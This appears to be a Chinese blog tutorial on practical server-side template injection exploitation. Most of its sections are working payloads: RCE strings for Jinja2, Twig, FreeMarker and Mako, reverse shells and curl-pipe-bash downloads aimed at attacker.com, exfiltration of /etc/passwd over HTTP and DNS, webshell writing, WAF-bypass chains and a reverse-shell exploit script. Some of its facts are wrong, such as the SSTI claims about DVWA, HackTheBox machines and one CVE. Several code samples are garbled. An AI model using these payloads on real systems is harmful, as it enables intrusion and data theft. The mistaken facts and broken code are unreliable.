乐于分享
好东西不私藏

第二十五期:服务端模板注入(SSTI)· 实战篇

第二十五期:服务端模板注入(SSTI)· 实战篇

前言

SSTI 的可怕之处在于:无需任何命令连接符,直接在模板语法层面完成 RCE。但真实环境中,开发者会加入各种过滤、WAF 规则、甚至启用了沙箱。本文深入实战场景,从识别到利用全覆盖,涵盖 Tplmap 自动化工具、多引擎手工利用、以及常见绕过技术。


一、环境准备

1.1 靶场搭建

VulHub SSTI 靶场(Docker)

 1# 安装 Docker
 2apt-get update && apt-get install -y docker.io docker-compose
 3
 4# 启动 Jinja2 SSTI 靶场
 5cd /opt/vulhub
 6git clone https://github.com/vulhub/vulhub.git
 7cd vulhub/flask/ssti
 8docker-compose up -d
 9
10# 靶场访问
11# http://your-ip:5000/?name={{ 7*7 }}
12# 预期:页面回显 49

DVWA 靶场(SSTI 模块)

1# 使用 Docker 部署 DVWA
2docker run -d -p 80:80 -p 443:443 --name dvwa vulnerables/dvwa
3
4# 访问 DVWA
5# http://your-ip/index.php
6# 登录后选择 "SSTI" 模块进行测试

HackTheBox - SSTI 题目上手

1平台:HackTheBox
2靶机:Vaccine (Linux)
3难度:Easy
4技能点:Python/Jinja2 SSTI + 反弹 Shell
5
6提示:寻找所有用户输入被直接传入模板渲染函数的参数

1.2 工具安装

Tplmap(推荐)

 1# 方式1:Git 克隆
 2git clone https://github.com/epinna/tplmap.git
 3cd tplmap
 4pip install -r requirements.txt
 5
 6# 方式2:pip 安装
 7pip install tplmap
 8
 9# 验证安装
10python tplmap.py --version
11# 输出:Tplmap 0.5

Payload 库

1# HackTricks SSTI Payloads
2git clone https://github.com/swisskyrepo/PayloadsAllTheThings.git
3cd PayloadsAllTheThings/Server\ Side\ Template\ Injection/
4cat README.md | grep -A 100 "Jinja2"

二、Tplmap 自动化检测与利用

2.1 基础检测

1# 检测单个 URL(GET 参数)
2python tplmap.py -u "http://target.com/?name=test"
3
4# 输出示例
5#[+] Tplmap 0.5
6#[+] Testing parameter: name
7#[+] [SUCCESS] Jinja2 template engine detected
8#[+] [SUCCESS] Jinja2 generic injection with tag '{{}}'

2.2 完整利用链

 1# 检测 + 读取文件
 2python tplmap.py -u "http://target.com/?name=test" --level=3 -e eval
 3
 4# 读取 /etc/passwd
 5python tplmap.py -u "http://target.com/?name=test" \
 6    --os-shell
 7
 8# 交互式命令执行
 9python tplmap.py -u "http://target.com/?name=test" \
10    --os-cmd="whoami"
11
12# 输出示例
13#[+] Run command: whoami
14#[+] Command: whoami
15# www-data

2.3 指定模板引擎

 1# 强制指定 Jinja2
 2python tplmap.py -u "http://target.com/?name=test" \
 3    --engine=jinja2
 4
 5# 指定 Twig
 6python tplmap.py -u "http://target.com/?name=test" \
 7    --engine=twig
 8
 9# 指定 FreeMarker
10python tplmap.py -u "http://target.com/?name=test" \
11    --engine=freemarker

2.4 进阶参数

 1# 完整扫描(所有引擎、所有技术)
 2python tplmap.py -u "http://target.com/?name=test" \
 3    --level=5 \
 4    --engine=all \
 5    --technique=eval
 6
 7# POST 请求测试
 8python tplmap.py -u "http://target.com/" \
 9    --method=POST \
10    --data="name=test"
11
12# 指定 Cookie
13python tplmap.py -u "http://target.com/?name=test" \
14    --cookie="PHPSESSID=abc123; security=low"
15
16# 带延迟测试(绕过简单 WAF)
17python tplmap.py -u "http://target.com/?name=test" \
18    --delay=2
19
20# 输出到文件
21python tplmap.py -u "http://target.com/?name=test" \
22    -o /tmp/ssti_results.txt

三、Jinja2 手工利用详解

3.1 基础探测

 1# 探测阶段1:数学运算回显
 2GET /?name={{ 7*7 }}
 3# 响应包含 "49" → Jinja2 确认
 4
 5# 探测阶段2:Python 内置对象
 6GET /?name={{ ''.__class__.__mro__[1].__subclasses__() }}
 7# 响应 500 或显示大量类列表 → 确认 Python 模板引擎
 8
 9# 探测阶段3:获取配置信息
10GET /?name={{ config.items() }}
11# 响应包含 SECRET_KEY 等配置信息

3.2 沙箱逃逸:读取文件

1# Payload:读取 /etc/passwd
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('cat /etc/passwd') }}
3
4# 分步拆解(Python 3.x 索引可能略有不同)
5{{ ''.__class__ }}                        # → <class 'str'>
6{{ ''.__class__.__mro__ }}               # → (<class 'str'>, <class 'object'>)
7{{ ''.__class__.__mro__[1] }}             # → <class 'object'>
8{{ ''.__class__.__mro__[1].__subclasses__() }}  # → 所有内置类列表

3.3 沙箱逃逸:反弹 Shell

1# 方法1:直接 bash 反弹
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('bash -i >& /dev/tcp/attacker.com/4444 0>&1') }}
3
4# 方法2:Python ワンライナー
5{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])\'') }}
6
7# 方法3:curl 下载脚本执行
8{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('curl http://attacker.com/shell.sh|bash') }}

3.4 沙箱逃逸:写 Webshell

1# Flask/Jinja2 Webshell 写入
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('echo "import os;os.popen(request.args.cmd).read()" > /tmp/shell.py && echo "from flask import Flask,request\napp=Flask(__name__)\n@app.route(\'/\')\ndef index():\n    import os\n    return os.popen(request.args.get(\'cmd\',\'id\')).read()\nif __name__==\'__main__\':\n    app.run(host=\'0.0.0.0\',port=1337)\n" > /tmp/flask_shell.py') }}
3
4# 直接写入 app.py
5{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('echo "from flask import Flask,request\napp=Flask(__name__)\n@app.route(\'/\')ndef i():return __import__(\'os\').popen(request.args.cmd).read()" > /tmp/a.py') }}

3.5 沙箱逃逸:无回显场景

DNS 外带数据:

1# 读取文件并通过 DNS 外带
2# 攻击者监听
3tcpdump -i eth0 -n port 53
4
5# Payload(URL 编码后发送)
6{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('curl http://attacker.com/$(cat /etc/passwd|base64|tr -d "\\n")') }}
7
8# 或者使用 ping
9{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('ping -c 1 $(cat /etc/passwd|base64|tr -d "\\n").attacker.com') }}

时间盲注:

1# 如果完全无回显,使用 sleep 验证
2{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('sleep 5') }}
3
4# 如果有延迟 → 命令执行成功

四、Twig 手工利用

4.1 Twig 基础检测

1# 检测 Payload
2{{ 7*7 }}
3# 响应包含 "49" → Twig 确认
4
5# Twig 版本判断
6{{ ["id"]|join(" ") }}
7# 如果报错 "Accessing attributes of a string" → Twig 2.x

4.2 Twig 2.x RCE

 1# 方法1:_self 利用
 2{{ _self.env.registerUndefinedFilterCallback("exec") }}
 3{{ ["id"]|join(" ") }}
 4
 5# 分步解释:
 6# _self → 当前模板对象
 7# _self.env → 环境对象
 8# registerUndefinedFilterCallback → 注册一个过滤器回调
 9# "exec" → 系统命令执行
10# ["id"]|join(" ") → 触发过滤器执行 exec("id")

4.3 Twig 3.x RCE

1# Twig 3.x 不再有 _self,需要寻找其他路径
2{{ ["id"]|filter("system") }}
3# 或者
4{{ ["id"]|map("system")|join(" ") }}

4.4 Twig Sandbox 绕过

1# 如果存在沙箱过滤
2{{ ["id"]|join(" ") }}
3{{ ['id''whoami']|sort|join(" ") }}
4
5# Twig 内置过滤器:escape, length, reverse, sort, keys, values
6# 构造命令
7{{ ['cat /etc/passwd']|map('exec')|join }}

五、FreeMarker 手工利用

5.1 FreeMarker 检测

1# FreeMarker 使用 ${} 语法
2${7*7}
3# 响应包含 "49" → FreeMarker 确认
4
5# 使用 .data_template?new() 构造方法
6${"freemarker.template.utility.Execute"?new()("id")}

5.2 FreeMarker RCE Payload

 1// 基本 RCE
 2${"id"?execute()}
 3${"whoami"?exec()}
 4
 5// 执行多条命令
 6<#assign ex = "freemarker.template.utility.Execute"?new()>
 7${ex("id")}
 8${ex("cat /etc/passwd")}
 9
10// 读取文件(通过 Runtime.exec)
11<#assign ObjectFactory = "java.lang.Object"?new()>
12<#assign Runtime = "java.lang.Runtime"?new()>
13${Runtime.getRuntime().exec("id")}
14
15// 读取 Tomcat 日志
16${"/etc/passwd"?keep_after("")?keep_before("")}

5.3 FreeMarker 模板注入(Spring MVC)

 1// Spring MVC + FreeMarker 场景
 2// 如果使用 @ResponseBody 返回字符串,模板内容可能直接渲染
 3
 4// 基础 RCE
 5${"freemarker.template.utility.Execute"?new()("id")}
 6
 7// 读取系统属性
 8${System.getProperty("user.dir")}
 9
10// 获取 applicationContext
11${Request.system()?new()}
12
13// 进阶:写文件
14<#assign "freemarker.template.utility.ObjectConstructor"?new()?new("java.io.FileWriter""/tmp/pwned")>

六、Handlebars 手工利用

6.1 Handlebars 检测

1// 检测 Payload
2{{7*7}}
3// 响应包含 "49" → Handlebars 确认

6.2 Handlebars RCE(沙箱逃逸)

 1// Handlebars 默认沙箱较强,但特定版本可绕过
 2
 3// 方法1:原型链污染
 4{{#withthis}}
 5  {{#with (lookup this"constructor")}}
 6    {{#with (lookup this"prototype")}}
 7      {{#withthis}}
 8constructor.constructor('return process.env')()
 9      {{/with}}
10    {{/with}}
11  {{/with}}
12{{/with}}
13
14// 方法2(某些旧版本)
15{{#with"s"as |s|}}
16  {{#with (lookup . "s")}}
17    {{.}}
18  {{/with}}
19{{/with}}
20
21// 方法3:Assembler 库
22{{ lookup (create (lookup (create null"java.lang.Runtime")) "getRuntime" }}

七、Mako 手工利用

7.1 Mako 检测

1# Mako 使用 ${} 或 <%
2${7*7}
3# 响应包含 "49" → Mako 确认

7.2 Mako RCE

1# Mako RCE Payload
2${self.module.cache.util.exec("id")}
3${self.module.cache.util.eval("__import__('os').popen('id').read()")}
4
5// 分步利用:
6# self → Template 上下文
7# self.module → <module 'mako'>
8# self.module.cache.util → 含 exec/eval 工具

八、Burp Suite 手动测试流程

8.1 Intruder 配置

 1# 步骤1:在 Burp Suite 中设置代理
 2# Proxy → Options → 127.0.0.1:8080
 3
 4# 步骤2:抓包并发送到 Intruder
 5# 右键 → Send to Intruder
 6
 7# 步骤3:设置 Payload Position
 8# 选择目标参数,添加 §§
 9# 例如:GET /?name=§test§
10
11# 步骤4:配置 Payload List(SSTI 检测集)
12[
13"{{ 7*7 }}",
14"{{7*7}}",
15"${7*7}",
16"${7*7}",
17"<%= 7*7 %>",
18"#{7*7}",
19"{7*7}",
20"{{{'a':1}}.__class__.__bases__[0].__subclasses__()}}",
21"{{''.__class__.__mro__[1].__subclasses__()}}",
22"{{ config.items() }}",
23"{{ request.__class__.__mro__[1].__subclasses__() }}",
24"{{ _self.env.registerUndefinedFilterCallback(\"exec\") }}",
25"${ \"freemarker.template.utility.Execute\"?new()(\"id\") }",
26"{{ _self.env.getTemplate().root.setup(get_defined_vars()) }}",
27]
28
29# 步骤5:分析响应
30# 包含 "49" / 报错包含类名 / 500 异常栈含模板引擎关键字 → 确认存在 SSTI

8.2 Extender 自动化

 1# Burp Suite Python 扩展:Bambda SSTI Scanner
 2# 保存为 ssti_scanner.py
 3
 4from burp import IBurpExtender
 5from burp import IScannerCheck
 6
 7classBurpExtender(IBurpExtender, IScannerCheck):
 8defdoPassiveScan(self, baseRequestResponse, issues):
 9# 检测常见 SSTI 特征
10        response = baseRequestResponse.getResponse().tostring().decode()
11        checks = [
12            ("{{ 7*7 }}""49"),
13            ("${7*7}""49"),
14            ("{{config""SECRET_KEY"),
15            ("__class__""class '"),
16        ]
17for payload, expected in checks:
18if payload in baseRequestResponse.getRequest().tostring().decode():
19if expected in response:
20# 报告发现
21pass

九、高级绕过技术

9.1 过滤器名混淆

 1# 当 {{ config }} 被过滤时
 2{{ config.items() }}
 3{{ config.items }}
 4{{ config["items"] }}
 5
 6# 绕过关键字过滤
 7{{ request["__class__"] }}
 8{{ ().__class__.__bases__[0].__subclasses__() }}
 9
10# 编码绕过
11{{ request["\x5f\x5fclass\x5f\x5f"] }}

9.2 空格过滤绕过

1# 使用 {{ }} 内换行或注释
2{{config.items()}}
3{{config.items()}}
4{{/**/config/**/.items()}}

9.3 WAF 绕过思路

 1常见 WAF 拦截模式:
 21. 检测 {{ }} 包裹的完整表达式
 32. 检测 __class____subclasses__ 等关键字
 43. 检测 "exec"、"system"、"popen" 等命令函数
 5
 6绕过思路:
 71. 拆分关键字:__class__ → __cla + ss + __
 82. 编码:{{ ''["\x5f\x5fclass\x5f\x5f"] }}
 93. 使用替代函数:system → __import__('os').popen().read()
104. 使用内置过滤器链代替直接调用
115. 改变大小写(部分 WAF 未规范化)

9.4 实战绕过链

 1# 完整绕过Payload(Jinja2)
 2{{''.__class__.__bases__[0].__subclasses__()[104].__init__.__globals__['__import__']('os').popen('id').read()}}
 3
 4# 简化版(部分版本可用)
 5{{ request.__class__.__mro__[1].__subclasses__()[108].__init__.__globals__['system']('id') }}
 6
 7# 使用 lipsum 替代(某些受限场景)
 8{{ lipsum.__globals__.os.popen('id').read() }}
 9
10# Flask session 伪造(如已知 SECRET_KEY)
11{{ request.session.get('id') }}

十、CTF 实战:HackTheBox - FriendZone

10.1 信息收集

1# Nmap 扫描
2nmap -sV -sC -p- 10.10.10.123
3# 发现:80/HTTP (Werkzeug/1.14.1), 443/HTTPS
4
5# 枚举目录
6gobuster dir -u http://10.10.10.123 -w /usr/share/wordlists/dirb/common.txt
7# 发现:/robots.txt, /admin_ws.php

10.2 发现 SSTI

1# 测试 /login.php 参数
2POST /login.php
3username={{7*7}}&password=test
4
5# 响应回显 "49" → 确认 Jinja2 SSTI

10.3 编写利用脚本

 1#!/usr/bin/env python3
 2import requests
 3import sys
 4import urllib.parse
 5
 6# 配置
 7target = "http://10.10.10.123/login.php"
 8attacker_ip = "your-ip"
 9attacker_port = "4444"
10
11# 反弹 Shell Payload(Jinja2)
12payload_template = """{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['system']('bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1')}}"""
13
14payload = payload_template.format(
15    attacker_ip=attacker_ip,
16    attacker_port=attacker_port
17)
18
19# 发送 Payload
20data = {
21"username": payload,
22"password""test"
23}
24
25print(f"[*] Sending SSTI Payload...")
26print(f"[*] Payload: {payload[:80]}...")
27
28r = requests.post(target, data=data)
29print(f"[+] Response status: {r.status_code}")
30
31# 同时启动监听
32# nc -lvnp 4444

10.4 获取 Flag

 1# 成功反弹后
 2whoami
 3# www-data
 4
 5# 寻找 flag
 6cd /home
 7ls -la
 8cat /home/friend/user.txt
 9
10# 提权
11sudo -l
12# 提示:用户可以以 friend 身份执行 /opt/server_admin/read_logs.py
13
14cat /opt/server_admin/read_logs.py
15# 发现:使用 popen 读取日志文件,可能有命令注入
16# 利用:sudo -u friend /opt/server_admin/read_logs.py
17# 输入:; cat /root/root.txt

📚 参考框架

  • PortSwigger
     — Server-Side Template Injection
  • Tplmap GitHub
     — epinna/tplmap
  • Nviso
     — Server-Side Template Injection: RCE for the Modern Web App
  • HackTricks
     — Server Side Template Injection (SSTI)
  • PayloadsAllTheThings
     — [SSTI Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side% Template%20Injection)

📌 下期预告

第二十五期:服务端模板注入(SSTI)·防御篇,涵盖:

  • CVE-2019-8341(Jinja2 沙箱绕过)深度分析
  • CVE-2021-3281(FreeMarker 任意文件读取)
  • 安全的模板配置(autoescape、严格沙箱、白名单路径)
  • WAF 规则设计与 Sigma 检测规则
  • Python 沙箱最佳实践

🛡️ 理论先行,实践跟进
⚠️ 提示:本文仅供网络安全学习研究使用。所有技术方案应在获得合法授权的范围内使用。未授权的安全测试违反中国《网络安全法》及相关法规。